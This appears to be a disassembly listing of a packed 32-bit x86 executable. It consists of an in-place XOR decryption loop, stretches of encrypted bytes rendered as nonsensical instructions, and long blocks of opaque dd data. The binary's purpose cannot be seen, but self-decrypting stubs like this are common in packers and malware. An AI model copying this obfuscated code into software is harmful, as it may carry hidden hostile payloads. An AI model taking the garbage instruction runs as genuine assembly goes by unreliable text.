; ---------------------------------------------------------------------------
db 0D6h, 0Fh
; =============== S U B R O U T I N E =======================================
sub_61C172 proc near ; CODE XREF: start+139p
push ebx
mov ecx, 27B3h
mov ebx, edx
loc_61C17A: ; CODE XREF: sub_61C172+11j
xor [eax], dl
sub dl, bl
xchg dl, dh
xchg bl, bh
inc eax
loop loc_61C17A
pop ebx
retn
sub_61C172 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_61C187: ; CODE XREF: start+13Ej
db 3Eh
add eax, [eax]
add [edx], ch
mov dl, 38h
lea ecx, ds:0BCA5E0B6h
rcl dword ptr [eax-503BD93Dh], 1
pop esi
rep cld
xor dl, [ecx-8]
pop ebx
adc [ecx+22h], al
cmp eax, 7A046D4Ch
shl dword ptr [edi+ebp*4+44h], 82h
xchg eax, edi
jo short near ptr loc_61C146+2
or esp, edx
and [edx], edi
dec edx
aas
inc ebx
cmp eax, 611AAECBh
dec ecx
jp short loc_61C22E
imul ebx, edi, 39h
mov dh, 1
lea ecx, [ebp+arg_5A]
push 32h
push edx
add eax, 41519463h
and eax, 0EE8C6161h
or al, dh
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
jz short sub_61C16D
test al, 0BAh
sbb al, 24h
test [edx-626C38D9h], ecx
or eax, 428DB73h
setalc
xor [edi-2068C41Fh], cl
add [eax-1BA7CD0Ch], cl
retn
; ---------------------------------------------------------------------------
db 30h
dd 4ECD31C7h, 0EEA23156h, 8F82D8BDh, 56683955h, 0BFD005C0h
dd 0F9C9D407h, 47948D90h, 25E67CC3h, 0CCDD5072h, 0EB2924B9h
dd 0A2BA6D1Fh, 7ECB4F7Dh, 4A50164Ah
db 16h, 0B2h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_61C22E: ; CODE XREF: start+1BEj
mov bh, 43h
xor esi, edi
adc al, 0F3h
mov [ecx+70D17D54h], gs
push ebp
das
xor eax, 98EE8CD1h
rcl dword ptr [ecx], 1
jmp dword ptr [ebx]
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
push edi
dec eax
xchg eax, esi
fsubrp st, st
mov [esi+52h], ah
adc al, 42h
popa
int 3 ; Trap to Debugger
std
retf 23A9h
; ---------------------------------------------------------------------------
db 0BCh, 0C7h, 0Eh
dd 0EE6C1FE8h, 5CA64D9h, 0A2C6ACFCh, 36E6CF9Eh, 378606Fh
dd 0E86912E4h, 426C6043h, 867C5C25h, 0E6DE25F8h, 0EE5F04DFh
dd 8052DCC4h, 5B09ACADh, 1C90003Ah, 0C78DDF71h, 0D244A445h
dd 362611B4h, 0EF855021h, 0CEDCB6A4h, 0C0335D28h, 0FD8EA03Eh
dd 0F998CA63h, 8BFFAD41h, 72625326h, 3ABD37B6h, 0E408A7AEh
dd 6AD584Eh, 0C2DD98E8h, 2D187932h, 0AE234099h, 0B14211B1h
dd 126677F7h, 662CAB55h, 0BA40915Dh, 668AE41Dh, 62ED38FBh
dd 8D681922h, 0CA35E089h, 5C10B0AEh, 0B21E8883h, 656B435h
dd 5A523043h, 0F9166CE8h, 6AACD961h, 56DF2CECh, 91661530h
dd 0F4CAD487h, 0AD842993h, 905DDAE0h, 0FA4D3857h, 1FC32439h
dd 0C80C7819h, 0FC0D95FDh, 0DF2F2AB5h, 9E8448DBh, 71573948h
dd 704DDA38h, 1E577067h, 0EE3AC67Dh, 421C1EC3h, 0D2AA220Dh
dd 15E08CA3h, 8F9F644h, 4411E5B3h, 0D5868A82h, 14D59DBEh
dd 3F4A5265h, 96C42B35h, 0B50E0C1Fh, 0BCCC0242h, 5ADDB4E1h
dd 32B40AC3h, 0BAA4D92Eh, 0AA87B0B1h, 64DF8B68h, 93C6E73h
dd 0E022E6A8h, 2B70FF0Fh, 4675D17Eh, 574FA8E5h, 2690C083h
dd 0F5892068h, 0F8523AFCh, 18C1735Bh, 952E7A01h, 0CB615F05h
dd 2659718Eh, 0FF5F48D5h, 0C680A087h, 6B67F944h, 0D6FFCB88h
dd 2A5CAE53h, 163EEDF5h, 5698FDA2h, 71899427h, 0CB12E899h
dd 0E5C24C2Ah, 0FAC29356h, 64DD1D9Ah, 0EF74527Bh, 805B6FE8h
dd 0A29593Fh, 5A9F3421h, 4D0B764Eh, 8B7DBA1Ah, 5AB87DC3h
dd 5FC84A9h, 0A9789F06h, 0C3D3C85Fh, 0AA76BB2Bh, 0FCABB29Dh
dd 90878375h, 2D139EF7h, 92C8BA03h, 4EAA54E1h, 0A2E6B410h
dd 0F60408F6h, 4A502037h, 0CF721E49h, 0A21AA271h, 7AC889FAh
dd 198070D1h, 0B6D2840Dh, 0C99C18DBh, 1D7E0659h, 8020AAA3h
dd 6C407E51h, 0CA4C6859h, 8C06BC65h, 0C58241F7h, 0C85F9B89h
dd 0BDAC8E87h, 397189C4h, 8A7167FBh, 0DEE73961h, 8B343E53h
dd 86165033h, 7F0B5F8Ch, 3EDAE968h, 73158FDh, 0D6A8B8EEh
dd 7ED0E070h, 8108741Bh, 0EE0A3DACh, 0E6A3FC03h, 923C2548h
dd 0CEEAA5B7h, 22CCE933h, 32CB1FBDh, 0ADE5C2FAh, 681B86D1h
dd 1531240Ah, 2E619C20h, 1A18F568h, 5146F1F6h, 572398DDh
dd 1688D71Fh, 0FC35BFF8h, 0D482A2AAh, 0ED668273h, 507DFAC0h
dd 0BB002937h, 259DE419h, 46E0B11Ah, 2331DB89h, 0A86DCB5h
dd 0FB11C292h, 0B242B425h, 0F9018865h, 6C043ED2h, 0DADA0129h
dd 0FC7F9E6Dh, 0A9305EE9h, 0C0C8A4BBh, 188BEB1h, 64B82E06h
dd 0D2A6F975h, 7DA0438Bh, 7D2A243Ch, 98EFE9D2h, 0CA4849C4h
dd 78A520E9h, 0BA960840h, 81E6BBC0h, 87F734F1h, 9A587EC7h
dd 0B86A9019h, 114C487Ah, 0AD40F9F2h, 2A65C0D9h, 0C1CD6088h
dd 1DAC4CC7h, 0D0BA1A10h, 0C7ADF877h, 71199BA6h, 0D4172EAEh
dd 0B780E71Dh, 8AF1483Bh, 4B2DE3E1h, 32823355h, 0BD00C95Ah
dd 1B91B0B1h, 2EA5FB92h, 0E83C3211h, 0BC1EC62Dh, 2A01680Fh
dd 0BA6954F5h, 0B894A8B9h, 0D96277B9h, 25F00675h, 0FD6AA44Dh
dd 0DD961092h, 0E3A3B3C2h, 0CA26B54Dh, 4EA3A553h, 494EDD1Ch
dd 2359CF3h, 42083387h, 367A1CD1h, 0A95C985Bh, 173EEC43h
dd 6A20402Fh, 0BE029411h, 0E1E4E8F3h, 66C63CFDh, 0EBA890B7h
dd 9B75B7CFh, 625A03D9h, 32E2D5F6h, 0E8CB95FFh, 0CB9FF7CFh
dd 0B2C2917Eh, 0FC4323B7h, 0D3B806FCh, 98A5382Ch, 26A308Bh
dd 39122C6Dh, 0DA35EB20h, 884BA661h, 3561447Ah, 0CA872A90h
dd 0FA89B5A2h, 0EC3FDBE9h, 2B8C4EA0h, 0C0510CF8h, 80CE35Fh
dd 0D0570720h, 9671A542h, 239C7E4Ah, 0C6AB0484h, 8BE9B09Fh
dd 2E9C6CC8h, 0FA0C18FEh, 0A960AE0Ah, 4A237123h, 0FE4D2E56h
dd 0A506FD70h, 4E897585h, 0E2A322BCh, 92CDF5DEh, 51E065EDh
dd 0F833603Eh, 0BB26D504h, 515B7A13h, 0C7652F40h, 0BF8AF307h
dd 7CBF7088h, 0F6D335AEh, 0A4F6F8C8h, 2AE461EAh, 1F072632h
dd 0BA10CD27h, 42479947h, 1F7A1317h, 9A8FD098h, 4AA097B4h
dd 45DE20D8h, 0ABFEF3ADh, 711A87F1h, 0A114817h, 0AE62E82Ch
dd 7E799555h, 2930209h, 0AFB5CC8Eh, 45D1B8A8h, 0FD433D6h
dd 0D3EBC0FCh, 6022E816h, 0F0A5930h, 0C849E255h, 6B4DE460h
dd 0E857E8Fh, 0C2BACDB8h, 7FD289CDh, 1FE151D5h, 0C611CF83h
dd 633AB523h, 3F425914h, 0DA7FC329h, 6790B14Dh, 33B345B9h
dd 0DEA5C7CFh, 8BC6BBFCh, 33CC4DFFh, 0C30A181Bh, 9F0FD016h
dd 234F704Dh, 0CE653E6Bh, 9B8F8298h, 0DD061BAh, 0FBE600A4h
dd 93C4B8CEh, 463774F1h, 0CC2C1520h, 8749B62Ch, 51C7644h
dd 0F3A81868h, 8589B39Dh, 7FBA51BFh, 0E6C12FB3h, 93EAD3C3h
dd 5421751Ah, 0E3380B3Fh, 8D45CC5Ah, 7A0E4D73h, 0C6940190h
dd 0BFA0D688h, 32F571B1h, 0D0E63DE8h, 950FD5EEh, 4233420Fh
dd 0F273582Eh, 0BF58C248h, 4B4D6563h, 108B2481h, 9DC4E9B4h
dd 76C899C5h, 1FEB3FE5h, 9E6AD70Ah, 472F9729h, 441D3F4Eh
dd 0B962C959h, 6CA2F475h, 1B12B8Ch, 8884AFB6h, 1AEC88C2h
dd 280E21DAh, 8339F402h, 7F4C9839h, 0F54354Dh, 0ED02D562h
dd 7BA29C96h, 0F9259B9h, 0E9A8F5DAh, 7EEF81F5h, 11156B7Bh
dd 0E223E929h, 5E558D56h, 327B724Eh, 0DF9DDC66h, 6883DC80h
dd 0CC851AAh, 0E1EDE1C0h, 6E159EEDh, 3F082C08h, 0CB35F43Dh
dd 924E955Dh, 5044B7Ch, 0C3921587h, 9FA4B991h, 0FDE6AB9h
dd 0D1F912FFh, 9F1C9C09h, 2F3C4929h, 0CA411126h, 9C71A34Ch
dd 5825205h, 0EEB91595h, 82D382ACh, 36D218CEh, 0F71B1ECEh
dd 9830A51Bh, 4D27773Eh, 0E66A6840h, 8763CE56h, 48B87583h
dd 0FDAF07B6h, 0E2D4FDC8h, 44CD78D3h, 0EF04011Ah, 0AA31D132h
dd 325A672Ah, 0F455286Bh, 0BF8CD162h, 5CBF77BCh, 0E1D32A9Bh
dd 0D6EDDFC8h, 4BCD74C1h, 1B0B0201h, 8122E724h, 4F529F50h
dd 34083E78h, 0AB9AEB8Dh, 4EA5BEB5h, 2E04CD8h, 0A4F5D0D0h
dd 7D1D86D1h, 26273B06h, 0A853F72Ah, 556CBE27h, 3D942179h
dd 0ABA8FB8Eh, 58BE82A2h, 5D210DBh, 0CAE1F1E5h, 66168125h
dd 2B2A5D20h, 0C847FD52h, 7A44E460h, 10894DAAh, 0D0A0C5A4h
dd 6BDD92D0h, 30FD5DD5h, 0D71FE7D7h, 7218DC0Bh, 2E514210h
dd 0DC73D24Ch, 6E9DAD7Fh, 39B349A0h, 0F8C0F9BDh, 90F7B8C5h
dd 36EB4BFAh, 0D4122F10h, 0AE2FBE3Eh, 3D446556h, 0D0782B72h
dd 0F689A294h, 19917388h, 0EAC015B5h, 9194B8D6h, 230573E9h
dd 0F13B1F14h, 8D3AB02Ch, 27727644h, 0F1FE186Eh, 8588B48Ah
dd 47A060A2h, 0F7C909DDh, 85E3CE95h, 5F1B1001h, 0FD4A0037h
dd 8747DB54h, 58470C69h, 0E482058Bh, 0B291C084h, 7AD17BACh
dd 0EAF232C4h, 0B431B0E2h, 4028611Dh, 0E77B2C2Eh, 0B871EF59h
dd 5E636561h, 0AB13094h, 0D2A1DCB2h, 43D292FCh, 0EED3EE5h
dd 0A00FD436h, 4C05F81Ah, 185C2949h, 0BA5FD47Ah, 6CA79A64h
dd 3BD4098Fh, 0B4D3E8ABh, 48EC95C9h, 281E25ECh, 0C239F402h
dd 5768A80Ch, 5813097Fh, 0F24ED03Fh, 7581BAF3h, 15A95096h
dd 0C3CDDBD2h, 69EFB699h, 0C094834h, 0F337E916h, 5830A147h
dd 2B435344h, 0E48DFA66h, 63A3B084h, 5AF94882h, 0FDFDE1FBh
dd 632AACEEh, 133B5901h, 0FC40C137h, 0FC482202h, 868F7E45h
dd 59B47D9Fh, 59EC8A5h, 7895E42Ch, 0F448F39Bh, 0A03E9A2Bh
dd 0B54850A0h, 0A80E5AD4h, 0E2D04B23h, 46FEDE5Bh, 0B123396Ah
dd 0EED29501h, 0CF7418ABh, 0FC7D48C1h, 0BB65AA6Fh, 3B284701h
dd 1974A4B8h, 8C52ECC1h
dd 69BA41B7h, 0B29CF126h, 262FB88Dh, 681BF391h, 9705643h
dd 5391BCA5h, 40F6CD6h, 0ECDF6F25h, 0EA90E207h, 0A5DA36E9h
dd 0E8ED090Fh, 0BCCFFCEDh, 22408397h, 2E6C3E25h, 0EE163DACh
dd 0E2A5FC03h, 0FFDA6337h, 0C73AB39h, 194222Ch, 45F98F7Fh
dd 35514860h, 9A7D0B7Eh, 725448C6h, 0B66EF415h, 0CE93F027h
dd 0A2714463h, 0C2B4D881h, 7CBEFCCDh, 6ACA12ADh, 0BEF2CCF9h
dd 43648273h, 0F3B96C06h, 0BA1EAC71h, 9BF5BD46h, 62DA036Dh
dd 0C7BA7358h, 1F386D34h, 52713497h, 0A2741D0Eh, 0D755DC53h
dd 88C76310h, 922801A2h, 8D71D83Dh, 56DE04A4h, 553FAB27h
dd 0B4275F4Eh, 0DF841EAFh, 0A64EEAFAh, 5523857h, 0CBA1DBC6h
dd 0A23A442Dh, 0DE734370h, 433820DFh, 154D8B3Eh, 0C4A8F226h
dd 32B69985h, 30D7FD47h, 63AC461h, 0BDE3E6DFh, 0AABCE986h
dd 2A65C0D9h, 0B14F1FA5h, 92A44004h, 1978637Dh, 65AF9B88h
dd 8EA2319Ah, 0BF2CB83Bh, 2D12E19Ch, 43C360C9h, 0C072316Ch
dd 66E508F5h, 0D7C60DF4h, 18ED4FD6h, 0A95A3252h, 17C37C4Fh
dd 0D62897BBh, 2A04C252h, 7EE2BCA4h, 5399A8D3h, 10BDB758h
dd 0F7773A97h, 0F871B2ECh, 0EF1EA85Bh, 5C2E681Dh, 0C6D4231Fh
dd 42773367h, 0BFD47EF8h, 98335BE5h, 3E98C6BCh, 337A6E89h
dd 9A46F2A8h, 163EE5A5h, 0B62CD2Fh, 0CBCB6ABBh, 878D2B03h
dd 66F00065h, 0B2A014B2h, 0BE1F6DDBh, 956C0E47h, 5E1B4FBFh
dd 0A30E03Fh, 0FBFFB57Ch, 39F4BE18h, 30EA6878h, 7EC4B3C7h
dd 2A9584A1h, 27CD832h, 5456C0ECh, 0C214804Fh, 0FE22D535h
dd 69EEBDECh, 5A6D7CC3h, 0FEEC545Ah, 1EAA24B8h, 0A66478F1h
dd 0A06ECC7Dh, 1D50720Dh, 0A5D4E1BEh, 3B27C815h, 47F28B88h
dd 0CB8970E7h, 84EBC6A3h, 429C70AAh, 692C2C8Dh, 0DC5B72FAh
dd 0C8C78251h, 0C6743347h, 0E607B87Dh, 8E1747F7h, 8EC844FDh
dd 703947BBh, 6F8E3AA1h, 9C04A0FAh, 5502A082h, 60346297h
dd 79400B74h, 0ECC49A92h, 0EE5F5DE9h, 7DEA88BEh, 0E0A53A38h
dd 6ED78D8Fh, 3A080323h, 0D6D3250Bh, 8D26FC34h, 6A629024h
dd 9E4157A0h, 729CA88Bh, 89FC1CEDh, 0FCAB1A0Ah, 16B67581h
dd 8D544861h, 393EB831h, 2C2472B2h, 0FB051709h, 0C2EAA469h
dd 16BA2E90h, 1FAA7E2Fh, 3309D290h, 1252FDF7h, 0F3CB25B6h
dd 0BA1E8037h, 0F15C351Ah, 6D2CBC29h, 0B6CF9355h, 1A34EFBFh
dd 0DE9234A0h, 0A201B2BDh, 6685C23h, 5B39B448h, 909A8429h
dd 440DAD2Bh, 1F8E126Ch, 0E8B5C781h, 0B8641B3Ah, 9CAF6792h
dd 0F7661624h, 6FB78301h, 4E1C1843h, 0ADCD4342h, 0F6EE1378h
dd 0DE55ADDFh, 0F4B242DFh, 0F298A0A3h, 15261C85h, 0A622E598h
dd 0E207C47Fh, 4D1C182Bh, 96FED388h, 0EA5129EFh, 4314D1h
dd 0C4ED3AE3h, 0E623399Ah, 0FCEB1077h, 8376C851h, 0E2B53C34h
dd 16320C1Dh, 0B65C938Ah, 5257BBDBh, 9FB408C3h, 0A6B67CA8h
dd 0BD598DA7h, 512F700Ch, 0F71C64E7h, 29602D51h, 5E74682Fh
dd 632584h, 0FDFED8D0h, 0E0CE899Ah, 7588AFD0h, 0E97A1E48h
dd 0C0BBF85Bh, 6CBBB36Fh, 0F9109623h, 4EA2A4C1h, 72DDA0B3h
dd 0A9F29CC5h, 75F49ED0h, 917A20E8h, 0F46012FEh, 62FE694Dh
dd 0E3E97319h, 883E2094h, 128CB9F3h, 37463CD7h, 45F8C6E6h
dd 38B66A0Ch, 0FDF9B57Bh, 0E64EBA46h, 5B64290Ch, 0F436671h
dd 89361DFCh, 251DCD3h, 0CC2DCFE3h, 569AB292h, 75F15848h
dd 575E1A78h, 0AB2A43B6h, 0CDDDD55Bh, 0AD005BECh, 0D226F9E0h
dd 7113E38Dh, 4DA19769h, 170144CBh, 0F658D1BEh, 4B5C9AD4h
dd 14B97441h, 0F214C92Bh, 8DDDE406h, 6913FB87h, 0EBCEA56Fh
dd 0A969FAECh, 99B9EFA3h, 0BDAC4B3Ch, 6A12C0DAh, 0C0752859h
dd 73F9437Fh, 3ADE2CA1h, 0B500E952h, 262FB88Dh, 0B5412791h
dd 8DB76796h, 0DEBAB40Bh, 0F13747CAh, 0D2501376h, 9FAAF150h
dd 4DB349B5h, 0EDCF37B9h, 81C2D8CBh, 45E46EE6h, 3D3E2706h
dd 0B736DA26h, 4370885Bh, 15612365h, 0B6AFF897h, 50A394ABh
dd 22AE3ED8h, 0AFF7D2FEh, 6D1DBCF5h, 72564817h, 0B463CC45h
dd 6871CCAEh, 14D4206Ah, 0ECBAFD82h, 58BE80BDh, 4AEB03E6h
dd 0CDE6F2E5h, 651E871Ch, 2315695Fh, 0F05CB065h, 2E44AD56h
dd 10854EDDh, 0E3C4F9A9h, 0AB0E057h, 0B31369A1h, 0B2429625h
dd 132159A3h, 0A5383071h, 98216ABCh, 1D14190Bh, 48B41099h
dd 91663544h, 52FBD487h, 78F106AFh, 5958FD13h, 776BA54Ah
dd 78168E84h, 0A07AF31Bh, 538869AAh, 72CFA552h, 1B3D74F7h
dd 0F2A2F0E6h, 0BC30957Fh, 61A63EEBh, 21D8C5F8h, 6AF448C0h
dd 150193F6h, 0EEE8E493h, 362A50A4h, 0C1A468B3h, 0A2A8FFD3h
dd 0C5685C3Bh, 0B8719ECCh, 96ECB33Bh, 34649F10h, 28659FACh
dd 21D282DAh, 0AC5C9B13h, 6E69A35Bh, 0DA78B08Ch, 7119423Ah
dd 0C6120B04h, 291EE061h, 1C3BFA9Ah, 8061BCF1h, 0DA2C572Ch
dd 0D9590343h, 4C9A8D1Ah, 43A39779h, 140CACDEh, 277F1D3Dh
dd 9B41F04Eh, 0E8670B50h, 9AD47ED8h, 0C6B69CCEh, 48DDA3F2h
dd 2A5476BAh, 3D5CD427h, 200516D8h, 6A2AA82Fh, 0CD759411h
dd 7C8D9A83h, 66875AA1h, 183D6FE7h, 878AD2A2h, 545792FEh
dd 3B7F835Dh, 3C299DB2h, 0EE97BD21h, 0E3F4BE3Fh, 3D2C491Ah
dd 322B30F1h, 0AE9A84ADh, 1BF66D06h, 0DB072C5Bh, 9C7C16F2h
dd 0BEB3C31h, 9562D7ECh, 90F81170h, 7998D0D7h, 78B44B1Ch
dd 3701789Bh, 0F658D250h, 4B3A740Fh, 0F660742Bh, 7214C821h
dd 7A6C89FAh, 5A5D70D1h, 6398B193h, 74827826h, 90143E8Dh
dd 0F40D75E2h, 68161467h, 0C0753863h, 0DA9829EAh, 0C5B010C1h
dd 0B8F6F24Ch, 55297EBBh, 368E3AA3h, 8A706C97h, 9101E361h
dd 74300h, 0CA5A180Bh, 206D4F07h, 0BDDA32D2h, 82BC5FA3h
dd 372B21ADh, 73803697h, 4204E9FCh, 96ACA865h, 0CED903C0h
dd 7A08501Bh, 87A4EDAEh, 0C98BD95h, 76E200F9h, 0F16A3560h
dd 0DEF7F4B7h, 7061CC6Ch, 0AEA59C45h, 1A18F022h, 77E5F184h
dd 4F8598DDh, 20826E70h, 9FADA8AFh, 3016B6Eh, 1252D4F5h
dd 76C23355h, 3B289035h, 0E0B74F5h, 63846CFBh, 49CE8CDCh
dd 3C8C862Ah, 0CE56B5A1h, 0E2748882h, 63C08EEh, 0DCADCF15h
dd 2B1AB215h, 0F8981CBh, 56CDA485h, 0B0557FCFh, 15A2E28Dh
dd 3D39AB71h, 0A6664A6Bh, 7FC5F922h, 4E1C3A4Ah, 0D099874Bh
dd 73EEFAC1h, 0C3542F1Fh, 15B274C0h, 0F21FC4E3h, 0C3F92C7Ah
dd 9A6E6E08h, 0D08D418Fh, 281D181Dh, 0FCFF060Dh, 94753FEDh
dd 0BDC222EDh, 16AB974Bh, 0E686BDF5h, 51FD9DE4h, 0E44A5247h
dd 1D7FEA2Bh, 326288h, 8530E5FFh, 0DED3F464h, 0B70985C3h
dd 37966ABBh, 203B588Fh, 0BA32FB96h, 0DC3C584Bh, 0E2974A06h
dd 0BFFF542Bh, 7ED46F03h, 0CC57155Eh, 2717FC83h, 8572747Fh
dd 4EFF2986h, 484CCE45h, 763A243Dh, 9942A01Fh, 228861FEh
dd 365948D5h, 533B88E1h, 1AAEB0F3h, 64CC4BD9h, 0D678DCE0h
dd 14360C8Ch, 20324165h, 0BD488613h, 1AC0ACF8h, 0A7C9DD55h
dd 0B1F99857h, 0F19AC0DDh, 0DFE16849h, 0B678B0E5h, 0A30FCD7h
dd 683C1121h, 92DAA87Bh, 23ECFCCBh, 629615E2h, 8EE2A1D1h
dd 4876ABAEh, 76106522h, 3FBFD74Fh, 0FE14EF9Bh, 52A8EC92h
dd 0A68C7CF5h, 59B8787h, 78965E2Ch, 3201F39Bh, 9C6EFA68h
dd 214BC35Fh, 76637988h, 0F214C826h, 4C923923h, 0F2727E7h
dd 0EE8CFF63h, 1290DC28h, 91166766h, 6760C06Fh, 85C8DECh
dd 6D773F33h, 0D03AC680h
dd 442895F7h, 367FE98Dh, 61AC8E87h, 9B9C38h, 7FD607Fh
dd 0DE648AD6h, 325EC668h, 79450A74h, 0ECC4C692h, 2E2287E9h
dd 92D77B5h, 6E2B2153h, 9A8036B3h, 0BCCA67Ch, 0E3ACC843h
dd 47D903CFh, 73EB4765h, 25EBD374h, 9037331h, 0CE13C173h
dd 399096A3h, 0F5857325h, 0E7AB1BDAh, 0C600A02Fh, 0F6F4DA7h
dd 1AFB443Fh, 0B7ECF0C1h, 8341ECCDh, 6A967CB5h, 80352911h
dd 6664E845h, 9C3FB44h, 0BA28A629h, 0C80AE419h, 54D28F7Eh
dd 0BE278CDDh, 0CD4F1F41h, 6887B424h, 0B2748883h, 29481E5h
dd 15323D47h, 0C175EA09h, 6493F865h, 30B740CDh, 0E5E0A1AAh
dd 93CBA091h, 3DF008F6h, 0CA031F55h, 9B3AB232h, 430B414Dh
dd 822C5811h, 0D6A1ECDDh, 27BD55ACh, 0F99206A4h, 97F0BAC2h
dd 4C7B3DEBh, 0FF341535h, 8B56B027h, 3B706B58h, 0E69F042Dh
dd 8BC0B99Fh, 5BE270BFh, 0F1C118CBh, 92E8DDE1h, 4E1B305Bh
dd 0E72E0A38h, 0C216DF55h, 61040130h, 0E293149Eh, 0FEB5DA88h
dd 12D864A2h, 0A6EF3DC1h, 0FA1CDEE6h, 463D6D07h, 0E41C743Fh
dd 0B03EDE42h, 4465697Dh, 37C22795h, 0BBA5DFF3h, 2CABC6C1h
dd 8ED38C0h, 0BC0B841Ch, 4D35D83Eh, 100E6048h, 0A475C96Dh
dd 3ECD8765h, 17B927A0h, 0B2FFBCE4h, 3AEB9987h, 0B172DFDh
dd 0B615B84Ah, 7A1E9F6Ah, 4B45344Eh, 0F2A035B9h, 0D58C707Ch
dd 766028FCh, 1F524A94h, 1E2CF08Ah, 0A000F427h, 0E5E1E582h
dd 86415074h, 44D3E68Bh, 6A4C3B51h, 6D6DCE5h, 5AB830C7h
dd 0AE9A84A9h, 27CD88Bh, 565E2C6Dh, 0AA40804Fh, 0FE22D431h
dd 52042813h, 0A6E67CF5h, 0FAC8D0D7h, 4EAA24B9h, 0A28C789Bh
dd 0F66ECC7Dh, 4A50205Fh, 9E327441h, 0F214C823h, 46F61C05h
dd 9AD870E7h, 0EEBAC4C9h, 429C18ABh, 967E6C8Dh, 0EA60C06Fh
dd 1AE79731h, 92245E73h, 0A62E1996h, 35E810C1h, 3DE276Eh
dd 55A3A0E8h, 0E68D0AD6h, 0AE5424F4h, 0AC5EF64Ah, 3A76335Ah
dd 0C49D4856h, 0D6BA9B13h, 6EFE9160h, 73558FDh, 0D6A8EC85h
dd 0E8030564h, 1FBBB659h, 5A44AC91h, 1002A4B0h, 7A6CB817h
dd 0EE82A4F9h, 0AFCCF8DBh, 408DC938h, 0D2A9F99Fh, 0DEF1F8F5h
dd 8DA3AA67h, 0F07698C0h, 0C3EF3327h, 4AA2C90Ah, 0D23F98DDh
dd 99429C32h, 6E48C3AFh, 230B6273h, 1252CBF6h, 124606D6h
dd 0B91ABB32h, 4087F46Bh, 3CB76007h, 0C2CEB65Eh, 0E1821FBBh
dd 4EE0CBA2h, 4D8BDF6Bh, 2D98F79Ah, 6C7818CAh, 0E519DC29h
dd 87731B3Fh, 56E86CE5h, 0EAC40508h, 0FEA2D487h, 6E6C2893h
dd 2D667C75h, 0CC08D4D2h, 0B89ACC39h, 0BAE487E4h, 75EECCFDh
dd 7C902462h, 96C774C1h, 0D695552Ah, 0DA9D1CB3h, 0DA5CFD98h
dd 61F9C47Fh, 745C10AEh, 926BE50Dh, 2E0F6AFh, 3EC214D2h
dd 1967A180h, 0E6863C06h, 0D7804277h, 8DB59BA7h, 0D46C90AEh
dd 0B5D80F1Dh, 85F06C85h, 0DED3B365h, 22CE8BC3h, 7B1253A5h
dd 5178B087h, 0C60A082Bh, 7DC3A683h, 9636292Eh, 0EC030039h
dd 0FEEADEA1h, 0CBB0A82Ah, 52880535h, 8B631094h, 4F6BECF2h
dd 0FD9327BAh, 32D7CDE2h, 0BF10EC53h, 0D6D9ADEDh, 7D2EB160h
dd 0C6B62B4Ah, 621996A7h, 61487777h, 0C25C33EEh, 2CBDBA4Dh
dd 0E125352Fh, 0BCE9845Bh, 0E3E7E278h, 98B4D484h, 0FAB6F48h
dd 0EBCA4B1h, 1AACBDD6h, 32CA83A6h, 0F530E03Fh, 68521C94h
dd 0E71CD803h, 529231Bh, 6CF81842h, 861F0BA9h, 17CEECBh
dd 0D50D0869h, 7173828Fh, 1D2A623Eh, 72CDA801h, 82C2BDA6h
dd 0DED4F9D3h, 158E2890h, 236593DBh, 4DB9C386h, 0CB6E5482h
dd 0F077DCBAh, 7322BCF8h, 0E7CD45FEh, 1BF60418h, 5B981232h
dd 0C3BA6C07h, 0CE97FF76h, 6B7EB49Ch, 66AB69AAh, 13321CC0h
dd 0C339FAEEh, 0BBE66416h, 0ABF55422h, 1DAACC5Ah, 0CE0408h
dd 0FB993B7Fh, 80AD4B9Eh, 0DB20CAC0h, 79E9A2CAh, 0DE92B1C4h
dd 0DB8AECB1h, 1734A734h, 0D6A88A9Fh, 32B1B8E9h, 9AA2B673h
dd 0B4A6AA50h, 7E20969Eh, 85FD65FFh, 0C6282706h, 27A6295Ch
dd 8386A4E5h, 30105F60h, 0AE798782h, 40D14A33h, 6C36AA63h
dd 7272D7CCh, 947AEE51h, 72C4EDE8h, 0E3B604DCh, 6B18BF50h
dd 3A829491h, 0C3699CA1h, 8D8CC2B5h, 22D7BC1h, 8E0AE419h
dd 0A153DA50h, 8FCE1950h, 0DD9BE089h, 0A951EE56h, 844C7B06h
dd 656DC65h, 9AAD3F4Fh, 581164E8h, 34C4298Eh, 50AB2DEDh
dd 8F498DA9h, 7B54C75Ah, 52B21062h, 0C0600977h, 116DE15Ah
dd 4F27423Dh, 4AA71E3Eh, 9113341h, 0C3E46354h, 0A8F26854h
dd 55763A3h, 704EEF00h, 9A587067h, 2EAFCB41h, 0AAB6A42Fh
dd 69019391h, 0AAC05566h, 0BB3414E7h, 92925042h, 0E982C994h
dd 116AFB46h, 7989CF99h, 0D4144BBEh, 360E0C1Dh, 0D714F7h
dd 0E8EA5964h, 3954C9C3h, 0C31D51C3h, 22C81BE1h, 0C3DF8EC3h
dd 433C6E73h, 0B11BB7CDh, 8106896Bh, 0D58494C2h, 0B67CBA38h
dd 8DA6F93Ah, 4265D51Dh, 966EA44Fh, 8954189Ah, 9DD2FCFEh
dd 21A8C63Fh, 0F5599201h, 2AD022FAh, 3942852Dh, 0C89C7D58h
dd 872A448h, 0A49C116Eh, 0A63D07E6h, 674AEABFh, 4A027C49h
dd 0E864170Ch, 0E2E94FDDh, 4462E465h, 0F0409053h, 9CA24CB1h
dd 48AEF897h, 0F43C94F5h, 0A01D40EBh, 2FBFCC9h, 0B604371Ch
dd 81089A40h, 5B2A4F42h, 0FACC1F60h, 0DB9DEF86h, 9C7980F2h
dd 19A3C31h, 0D7F3D7ECh, 0A6D04406h, 7AC8D0D7h, 2E1A27CDh
dd 51098F31h, 0F66EFA45h, 3E58205Fh, 1567CC46h, 0BDBFC8CFh
dd 7E0599F2h, 9ADB70D1h, 6AB5C5C9h, 429C184Ah, 3DD4843Dh
dd 0AA6C7DE6h, 49AA1467h, 22DB97CCh, 6FAD16FDh, 0CA8004Ah
dd 71A28CD9h, 675B4744h, 36B8346Eh, 8A70607Ch, 5BA5A115h
dd 320230B0h, 87165C25h, 6E10B573h, 9E25FB17h, 917F222h
dd 0E0DEA028h, 14F8B8Fh, 6ADFDDB9h, 5B449E13h, 419E007Dh
dd 0D13EAF73h, 658C64CAh, 1A3F7D2Ch, 76AD4C8Bh, 0C4E4A09Fh
